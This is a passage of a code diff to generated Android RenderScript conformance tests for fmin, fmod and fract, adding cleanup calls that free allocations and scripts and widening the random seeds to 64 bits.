         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminFloat2FloatFloat2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFminFloat2FloatFloat2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -783,13 +826,14 @@
     }
 
     private void checkFminFloat3FloatFloat3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x12b06accl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x12b06acdl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xa32539af12b06accl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xa32539af12b06acdl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFminFloat3FloatFloat3(inA, out);
             verifyResultsFminFloat3FloatFloat3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminFloat3FloatFloat3: " + e.toString());
         }
@@ -798,9 +842,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFminFloat3FloatFloat3(inA, out);
             verifyResultsFminFloat3FloatFloat3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminFloat3FloatFloat3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFminFloat3FloatFloat3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -862,13 +909,14 @@
     }
 
     private void checkFminFloat4FloatFloat4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x11b5f28l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x11b5f29l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xf874ecc7011b5f28l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xf874ecc7011b5f29l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFminFloat4FloatFloat4(inA, out);
             verifyResultsFminFloat4FloatFloat4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminFloat4FloatFloat4: " + e.toString());
         }
@@ -877,9 +925,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFminFloat4FloatFloat4(inA, out);
             verifyResultsFminFloat4FloatFloat4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminFloat4FloatFloat4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFminFloat4FloatFloat4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -941,13 +992,14 @@
     }
 
     private void checkFminHalf2HalfHalf2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xa4829957l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xa4829958l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x5b0a3aa9a4829957l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x5b0a3aa9a4829958l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFminHalf2HalfHalf2(inA, out);
             verifyResultsFminHalf2HalfHalf2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminHalf2HalfHalf2: " + e.toString());
         }
@@ -956,9 +1008,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFminHalf2HalfHalf2(inA, out);
             verifyResultsFminHalf2HalfHalf2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminHalf2HalfHalf2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFminHalf2HalfHalf2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1025,13 +1080,14 @@
     }
 
     private void checkFminHalf3HalfHalf3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x571c2afbl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x571c2afcl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x85975b28571c2afbl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x85975b28571c2afcl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFminHalf3HalfHalf3(inA, out);
             verifyResultsFminHalf3HalfHalf3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminHalf3HalfHalf3: " + e.toString());
         }
@@ -1040,9 +1096,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFminHalf3HalfHalf3(inA, out);
             verifyResultsFminHalf3HalfHalf3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminHalf3HalfHalf3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFminHalf3HalfHalf3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1109,13 +1168,14 @@
     }
 
     private void checkFminHalf4HalfHalf4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x9b5bc9fl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x9b5bca0l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xb0247ba709b5bc9fl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xb0247ba709b5bca0l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFminHalf4HalfHalf4(inA, out);
             verifyResultsFminHalf4HalfHalf4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminHalf4HalfHalf4: " + e.toString());
         }
@@ -1124,9 +1184,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFminHalf4HalfHalf4(inA, out);
             verifyResultsFminHalf4HalfHalf4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminHalf4HalfHalf4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFminHalf4HalfHalf4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmod.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmod.java
index 921c261..752c6f0 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmod.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmod.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestFmodRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inNumerator;
         public float inDenominator;
@@ -44,13 +51,14 @@
     }
 
     private void checkFmodFloatFloatFloat() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xdcc790e8l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x4b044e1l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xed70b65ddcc790e8l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xeff8dc0a04b044e1l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testFmodFloatFloatFloat(inNumerator, out);
             verifyResultsFmodFloatFloatFloat(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmodFloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testFmodFloatFloatFloat(inNumerator, out);
             verifyResultsFmodFloatFloatFloat(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmodFloatFloatFloat: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsFmodFloatFloatFloat(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkFmodFloat2Float2Float2() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xebd95a82l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xdc295e2bl, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x84bcef91ebd95a82l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xb582050adc295e2bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testFmodFloat2Float2Float2(inNumerator, out);
             verifyResultsFmodFloat2Float2Float2(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmodFloat2Float2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testFmodFloat2Float2Float2(inNumerator, out);
             verifyResultsFmodFloat2Float2Float2(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmodFloat2Float2Float2: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsFmodFloat2Float2Float2(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkFmodFloat3Float3Float3() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x8ea54683l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xaf04f164l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x604b98cb8ea54683l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x7ee64653af04f164l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testFmodFloat3Float3Float3(inNumerator, out);
             verifyResultsFmodFloat3Float3Float3(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmodFloat3Float3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testFmodFloat3Float3Float3(inNumerator, out);
             verifyResultsFmodFloat3Float3Float3(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmodFloat3Float3Float3: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsFmodFloat3Float3Float3(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkFmodFloat4Float4Float4() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x31713284l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x81e0849dl, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x3bda420531713284l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x484a879c81e0849dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testFmodFloat4Float4Float4(inNumerator, out);
             verifyResultsFmodFloat4Float4Float4(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmodFloat4Float4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testFmodFloat4Float4Float4(inNumerator, out);
             verifyResultsFmodFloat4Float4Float4(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmodFloat4Float4Float4: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsFmodFloat4Float4Float4(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -368,13 +391,14 @@
     }
 
     private void checkFmodHalfHalfHalf() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x9b7bf563l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x699a0144l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xae3e08be9b7bf563l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x7af0d8cb699a0144l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testFmodHalfHalfHalf(inNumerator, out);
             verifyResultsFmodHalfHalfHalf(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmodHalfHalfHalf: " + e.toString());
         }
@@ -383,9 +407,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testFmodHalfHalfHalf(inNumerator, out);
             verifyResultsFmodHalfHalfHalf(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmodHalfHalfHalf: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsFmodHalfHalfHalf(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -452,13 +479,14 @@
     }
 
     private void checkFmodHalf2Half2Half2() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xe67736bdl, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xfa55044el, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xb52d0395e67736bdl, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x8f0295c7fa55044el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testFmodHalf2Half2Half2(inNumerator, out);
             verifyResultsFmodHalf2Half2Half2(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmodHalf2Half2Half2: " + e.toString());
         }
@@ -467,9 +495,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testFmodHalf2Half2Half2(inNumerator, out);
             verifyResultsFmodHalf2Half2Half2(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmodHalf2Half2Half2: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsFmodHalf2Half2Half2(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -536,13 +567,14 @@
     }
 
     private void checkFmodHalf3Half3Half3() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x31e9672cl, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xe614d605l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x6fcbd4a531e9672cl, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x74168d3fe614d605l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testFmodHalf3Half3Half3(inNumerator, out);
             verifyResultsFmodHalf3Half3Half3(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmodHalf3Half3Half3: " + e.toString());
         }
@@ -551,9 +583,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testFmodHalf3Half3Half3(inNumerator, out);
             verifyResultsFmodHalf3Half3Half3(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmodHalf3Half3Half3: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsFmodHalf3Half3Half3(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -620,13 +655,14 @@
     }
 
     private void checkFmodHalf4Half4Half4() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x7d5b979bl, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xd1d4a7bcl, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x2a6aa5b47d5b979bl, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x592a84b7d1d4a7bcl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testFmodHalf4Half4Half4(inNumerator, out);
             verifyResultsFmodHalf4Half4Half4(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmodHalf4Half4Half4: " + e.toString());
         }
@@ -635,9 +671,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testFmodHalf4Half4Half4(inNumerator, out);
             verifyResultsFmodHalf4Half4Half4(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmodHalf4Half4Half4: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsFmodHalf4Half4Half4(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFract.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFract.java
index b11b36e..ef7df0a 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFract.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFract.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestFractRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inV;
         public Target.Floaty outFloor;
@@ -44,13 +51,15 @@
     }
 
     private void checkFractFloatFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x3c675d27l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x57d8e6573c675d27l, false);
         try {
             Allocation outFloor = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocOutFloor(outFloor);
             script.forEach_testFractFloatFloatFloat(inV, out);
             verifyResultsFractFloatFloatFloat(inV, outFloor, out, false);
+            outFloor.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractFloatFloatFloat: " + e.toString());
         }
@@ -60,9 +69,12 @@
             scriptRelaxed.set_gAllocOutFloor(outFloor);
             scriptRelaxed.forEach_testFractFloatFloatFloat(inV, out);
             verifyResultsFractFloatFloatFloat(inV, outFloor, out, true);
+            outFloor.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractFloatFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFractFloatFloatFloat(Allocation inV, Allocation outFloor, Allocation out, boolean relaxed) {
@@ -132,13 +144,15 @@
     }
 
     private void checkFractFloat2Float2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xcdf8f525l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xd1dbe683cdf8f525l, false);
         try {
             Allocation outFloor = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocOutFloor(outFloor);
             script.forEach_testFractFloat2Float2Float2(inV, out);
             verifyResultsFractFloat2Float2Float2(inV, outFloor, out, false);
+            outFloor.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractFloat2Float2Float2: " + e.toString());
         }
@@ -148,9 +162,12 @@
             scriptRelaxed.set_gAllocOutFloor(outFloor);
             scriptRelaxed.forEach_testFractFloat2Float2Float2(inV, out);
             verifyResultsFractFloat2Float2Float2(inV, outFloor, out, true);
+            outFloor.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractFloat2Float2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFractFloat2Float2Float2(Allocation inV, Allocation outFloor, Allocation out, boolean relaxed) {
@@ -220,13 +237,15 @@
     }
 
     private void checkFractFloat3Float3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xcfd6f6c6l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x2640c4a3cfd6f6c6l, false);
         try {
             Allocation outFloor = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocOutFloor(outFloor);
             script.forEach_testFractFloat3Float3Float3(inV, out);
             verifyResultsFractFloat3Float3Float3(inV, outFloor, out, false);
+            outFloor.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractFloat3Float3Float3: " + e.toString());
         }
@@ -236,9 +255,12 @@
             scriptRelaxed.set_gAllocOutFloor(outFloor);
             scriptRelaxed.forEach_testFractFloat3Float3Float3(inV, out);
             verifyResultsFractFloat3Float3Float3(inV, outFloor, out, true);
+            outFloor.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractFloat3Float3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFractFloat3Float3Float3(Allocation inV, Allocation outFloor, Allocation out, boolean relaxed) {
@@ -308,13 +330,15 @@
     }
 
     private void checkFractFloat4Float4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd1b4f867l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x7aa5a2c3d1b4f867l, false);
         try {
             Allocation outFloor = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocOutFloor(outFloor);
             script.forEach_testFractFloat4Float4Float4(inV, out);
             verifyResultsFractFloat4Float4Float4(inV, outFloor, out, false);
+            outFloor.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractFloat4Float4Float4: " + e.toString());
         }
@@ -324,9 +348,12 @@
             scriptRelaxed.set_gAllocOutFloor(outFloor);
             scriptRelaxed.forEach_testFractFloat4Float4Float4(inV, out);
             verifyResultsFractFloat4Float4Float4(inV, outFloor, out, true);
+            outFloor.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractFloat4Float4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFractFloat4Float4Float4(Allocation inV, Allocation outFloor, Allocation out, boolean relaxed) {
@@ -401,11 +428,12 @@
     }
 
     private void checkFractFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x9db2cad3l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xf559208b9db2cad3l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testFractFloatFloat(inV, out);
             verifyResultsFractFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractFloatFloat: " + e.toString());
         }
@@ -413,9 +441,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testFractFloatFloat(inV, out);
             verifyResultsFractFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFractFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -470,11 +500,12 @@
     }
 
     private void checkFractFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xc4d52edfl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x1096c5acc4d52edfl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testFractFloat2Float2(inV, out);
             verifyResultsFractFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractFloat2Float2: " + e.toString());
         }
@@ -482,9 +513,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testFractFloat2Float2(inV, out);
             verifyResultsFractFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFractFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -539,11 +572,12 @@
     }
 
     private void checkFractFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xbaf04fbdl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x10988ec7baf04fbdl, false);
         try {
